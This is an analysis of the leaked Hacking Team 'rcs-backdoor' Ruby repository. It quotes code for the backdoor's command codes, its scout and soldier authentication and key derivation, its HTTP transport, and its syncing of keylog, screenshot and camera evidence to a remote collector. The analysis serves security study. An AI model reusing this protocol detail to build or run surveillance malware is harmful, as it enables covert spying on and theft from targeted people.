# HT rcs-backdoor analysis

Zhongying Qiao
Martin Pozdena

## Introduction

We analysed leaked Hacking Team repository `rcs-backdoor` which was used to simulate a backdoor with the Ruby language. Backdoor related resources are to be found in folders 1) *`bin`* , which provides configuration entry to a new backdoor, and 2) *`lib`*. that supports the backdoor operating in scout and soldier mode.

To run rcs-backdoor, some of its runtime dependencies are rcs-commons, log4r - a FOSS logging library, hosted on rubyforge.org (http://log4r.rubyforge.org/rdoc/Log4r). The main file of the exploit is under the path lib/rcs-backdoor/backdoor.rb

The author of rcs-backdoor is Hacking Team employee ALoR (Alberto Ornaghi), ironically it was open sourced under the MIT free software license, according to the LICENSE.txt file. Of course it really became open source to the public since the leak on July 2015. There are several versions of the rcs-backdoor and the latest version in our possession is 8.0.0.

## Analysis

The following sections will discuss our analysis results of aforementioned components including snippets of interesting code.

1) Rakefile:

Hacking Team obviously want to build the backdoor in private. As they are making the backdoor gem with bundler, the following code under the Rakefile is used to prevent it from being accidentally released on Rubygems.org:

```
require "bundler/gem_tasks"

def execute(message)
  print message + '...'
  STDOUT.flush
  if block_given? then
    yield
  end
```

```
  puts ' ok'
end
desc "Housekeeping for the project" # delete evidence
task :clean do
  execute "Cleaning the evidence directory" do
    Dir['./evidences/*'].each do |f|
      File.delete(f)
    end
  end
end
Rake::Task["release"].clear  # the clear method clears the task list, causing rake to immediately
```
forget all the task's prerequisites and actions if the gem is to be accidentally released.

2) lib/rcs-backdoor/command.rb

The list of commands available is referenced at the beginning of the file:

```
INVALID_COMMAND      = 0x00       # Don't use
  PROTO_OK           = 0x01       # OK
  PROTO_NO           = 0x02       # Nothing available
  PROTO_BYE          = 0x03       # The end of the protocol
  PROTO_ID           = 0x0f       # Identification of the target
  PROTO_CONF         = 0x07       # New configuration
  PROTO_UNINSTALL    = 0x0a       # Uninstall command
  PROTO_DOWNLOAD     = 0x0c       # List of files to be downloaded
  PROTO_UPLOAD       = 0x0d       # A file to be saved
  PROTO_UPGRADE      = 0x16       # Upgrade for the agent
  PROTO_EVIDENCE     = 0x09       # Upload of an evidence
  PROTO_EVIDENCE_CHUNK = 0x10     # Upload of an evidence (in chunks)
  PROTO_EVIDENCE_SIZE  = 0x0b     # Queue for evidence
  PROTO_FILESYSTEM   = 0x19       # List of paths to be scanned
  PROTO_PURGE        = 0x1a       # purge the log queue
  PROTO_EXEC         = 0x1b       # execution of commands during sync
```

Every backdoor needs to be authenticated. Depending on if the backdoor is operated under scout or soldier mode, different authentication mechanisms are used.

For scout mode, there are two phases in the authentication process:
a) Base64 ( Crypt_S ( Pver, Kd, sha(Kc | Kd), BuildId, InstanceId, Platform ) )
b) Base64 ( Crypt_C ( Ks, sha(K), Response ) ) | SetCookie ( SessionCookie )

At stage a) the equivalent code to the above is:

```
message = pver + kd + sha + rcs_id + backdoor.instance + platform
```

where protocol version = pver and build id = rcs_id padded to 16 bytes, backdoor.instance = instanceId. Kc is the key chosen by the client while Kd is randomly generated 16 bytes, together their SHA1 digest was derived to become variable “sha”. platform variable consists PLATFORM (windows, mac … ), checking if it’s a demo or not and whether scout or soldier is the correct level:

```
platform = [PLATFORMS.index(backdoor.type.gsub(/-DEMO/, ""))].pack('C') + demo + level + flags
```

The whole message is then 128bit AES encrypted, using backdoor.signature as the passphrase:

```
enc_msg = aes_encrypt(message, backdoor.signature, PAD_NOPAD)
```

After adding a random block between 128 to 1024 bytes:

```
enc_msg += SecureRandom.random_bytes(rand(128..1024))
```

Finally the enc_msg is base64 encoded, sent to the server awaiting for a response.

The server decodes and decrypt the received message with pre-shared conf_key, then proceed to calculate the session key used in subsequent communication with the client:

```
@session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
```

Server key is chosen in the following way:

```
resp = aes_decrypt(resp, backdoor.conf_key, PAD_NOPAD)
ks = resp.slice!(0..15) #slice the first 16 byte from the decrypted response.
```

Whether the authentication is successful is checked by the decrypted response’s first byte:

```
trace :info, "Auth Response: OK" if resp.unpack('I') == [PROTO_OK]
```

If the first byte indicates “uninstall” or “Nothing available”, the server will do so as instructed.

```
if resp.unpack('I') == [PROTO_UNINSTALL]
    trace :info, "UNINSTALL received"
    raise "UNINSTALL"
  end
  if resp.unpack('I') == [PROTO_NO]
    trace :info, "NO received"
    raise "PROTO_NO: cannot continue"
  end
end
```

The authentication process when the elite (soldier) mode is on is different from scout, in that a nonce is sent by the client in its encrypted message in order to authenticate the server (server decrypts the message with backdoor.signature, obtain nonce and encrypt it with session key to return to the client):

```
message = kd + nonce + rcs_id + backdoor.instance + rcs_type + sha
enc_msg = aes_encrypt(message, backdoor.signature)
# add randomness to the packet size
enc_msg += randblock()
ks = resp.slice!(0..31)
ks = aes_decrypt(ks, backdoor.signature)
```

#server derives ks- server key from the first 32 bytes of the message decrypted with backdoor.signature:

```
@session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
```

# session key is derived as SHA1 digest of pre-shared conf_key server key and client key all together.

The rest part of authentication scheme are the same for both elite and scout.

The following parts of the code under command.rb defines e.g. how the client sends server the backdoor ID using the session key after authentication:

```
def send_id(backdoor)
…
end
```

It subsequently defines functions that e.g. enables server to receive configuration, uploads from the clients… for the clients to send evidence to server etc.

3) lib/rcs-backdoor/protocol.rb, transport.rb

They are implementation of the application level and the transport layer protocol ( HTTP and HTTPS)

The transport layer is responsible for setting and saving the cookie from the authentication phase:

```
request['Cookie'] = @cookie unless @cookie.nil?
@cookie = res['Set-Cookie'] unless res['Set-Cookie'].nil?
trace_named_put(:cookie, @cookie)
```

An HTTP POST request is made per message because we don't have a persistent connect to the sync server.

On the application level communication, during initialisation the code below indicates it only supports REST (HTTP, HTTPS), ASP and RSSM are not supported.

```
def initialize(type, sync)
  case type
   when :REST
     trace :debug, "REST Protocol selected"
     @transport = Transport.new(:HTTP)
   when :RESTS
     trace :debug, "REST SSL Protocol selected"
     @transport = Transport.new(:HTTPS)
   when :ASP, :RSSM
     trace :warn, "#{type} Protocol selected..."
     raise "You must be kidding... :)"  # ...obviously
   else
     raise "Unsupported Protocol"
  end
  @sync = sync
 end
```

The whole application process is revealed as follows:

a) authenticate to the collector: authenticate @sync.backdoor

In this step the session key is produced. It's also possible that client receives command to uninstall its backdoor from server in the meantime.

b) client sends deviceID, userID, sourceID… to receive list of available element from the collector: available = send_id @sync.backdoor

depending on the available element on the collector, the following commands are invoked:

c) client received new configuration

d) ask for purge

e) client receives upgrade

f) receive the files in the upload queue

g) client receive the list of paths to be scanned

h) client receive the list of files to be downloaded

i) client receive the list of commands to be executed

…

n) client send the agent's collected evidences

o) protocol termination

4) lib/rcs-backdoor/backdoor.rb, sync.rb

Two objects *Application* and *Backdoor* were created. The *Backdoor* object was first initialised using the parameters from the binary.yaml and ident.yaml under /bin, i.e. [BACKDOOR_ID], [BACKDOOR_TYPE], [VERSION](backdoor_version) were used directly but in binary form, while the [CONF_KEY], [EVIDENCE_KEY], [SIGNATURE](backdoor signature) should be taken from the HT database, hashed into a MD5 digest and then used in binary form.

e.g. @conf_key = Digest::MD5.digest binary['CONF_KEY']

Collected evidence is initiated to be an empty string [], along with [DIR.pwd] (directory password) and [INSTANCE_ID], an [evidence_dir] (evidence directory) is created:

@evidence_dir = File.join(Dir.pwd, 'evidence', ident['INSTANCE_ID'])

And finally, a [USERID],[DEVICEID] and [SOURCEID] are also initiated with the ident.yaml file, which contains a default and minotauro value set.
From the sync.rb file we learn how the Sync object is initialised:

```
def initialize(protocol, backdoor)
   @protocol = Protocol.new(protocol, self)
   @backdoor = backdoor
end
```

For the current version all sync.rb does is to provide a wrapper to protocol:

```
def perform(host)
   trace :info, "Synching with " << host

   # setup the parameters
   @protocol.sync = self

   # execute the sync protocol
   @protocol.perform host

   trace :info, "Sync ended"
end
```

Back to backdoor.rb. variable @scout is set to false, meaning we are now in soldier mode.

The last step is to instantiate the sync object with the protocol to be used (a REST protocol HTTP or HTTPS)

```
begin
   @sync = Sync.new(:REST, self)
   rescue Exception => detail
     trace :fatal, "ERROR: " << detail.to_s
     raise
 end
```

Method  def sync(host, delete_evidence = true) loads evidence stored in memory and sync with server. We see that for method def create_evidences(num, type = :RANDOM),

real_type = [:APPLICATION, :DEVICE, :CHAT, :CLIPBOARD, :CAMERA, :INFO, :KEYLOG, :SCREENSHOT, :MOUSE, :FILEOPEN, :FILECAP].sample if type == :RANDOM
Evidence.new(@evidence_key).generate(real_type, @info).dump_to_file(@evidence_dir)

meaning by default, types of evidence created contains all in the real_type array.

The second class Application in the backdoor.rb file is used by bin/rcs-backdoor as a wrapper for executing the backdoor from command line.

In the def self.run!(*argv) method, for testing purposes the user is able to interact with command line in order to:

e.g. Synchronize with remote HOST by executing: " rcs-backdoor -s --sync HOST " or to enable client to authenticate like a scout by issuing "rcs-backdoor --scout" command.

5) the bin folder

`bin/rcs-backdoor-add` updates the yaml files under the same directory, adding configuration entry to a new backdoor,

```
def update_binary_yaml
  hash = {
    :BACKDOOR_ID    => factory['ident'],
    :BACKDOOR_TYPE  => 'OSX',
    :CONF_KEY       => factory['confkey'],
    :EVIDENCE_KEY   => factory['logkey'],
    :SIGNATURE      => signature,
    :VERSION        => 2013103101
  }

  append_configuration('binary.yaml', hash)
end

def update_ident_yaml
  hash = {
    :INSTANCE_ID  => instance_id,
    :USERID       => "topac#{rand(1E5)}",
    :DEVICEID     => '',
    :SOURCEID     => '',
  }

  append_configuration("ident.yaml", hash)
end
```

Through the following lines:

`cmd = "./bin/rcs-backdoor -s #{db_host} -c #{entry_name}"` # option -s indicates to sync with remote host , option -c is to add a configuration name value.

```
puts "Try to sync with the command #{cmd} (the command has been copied on clipboard)"
```

`exec("echo '#{cmd}' | pbcopy")` # pbcopy is an OSX command that copies the result of echo '#{cmd}' onto the clipboard.

From bin/rcs-backdoor, the most important line is:

```
exit RCS::Backdoor::Application.run!(*ARGV)
```

Which invokes the method def self.run!(*argv) under lib/rcs-backdoor, class Application to create a wrapper for a command line interface for testing the backdoor.

# Conclusion

After analysing the above codes, we have a general idea of how the rcs-backdoor works. It was created in the Ruby language and as of version 8.0.0 that we have, it was for testing purpose only since there is only a command line interface. (e.g. run “rcs-backdoor --scout” initiates the authentication process for scout )The available functionality is for the backdoor to sync with the collector, submitting the device info to it and then obtains instructions from the collector to perform evidence collection, upload, sync, or even destroy. Before all that the backdoor must authenticate itself to the collector. Depending on whether it’s running under scout or soldier mode, the authentication scheme differs. e.g. in elite/soldier mode the backdoor sends a nonce that will be sent back in order to authenticate the server as well. The crypto schemes used are SHA1 and 128bits AES. On the protocol aspects, REST is exclusively used, specifically it supports only HTTP and HTTPS.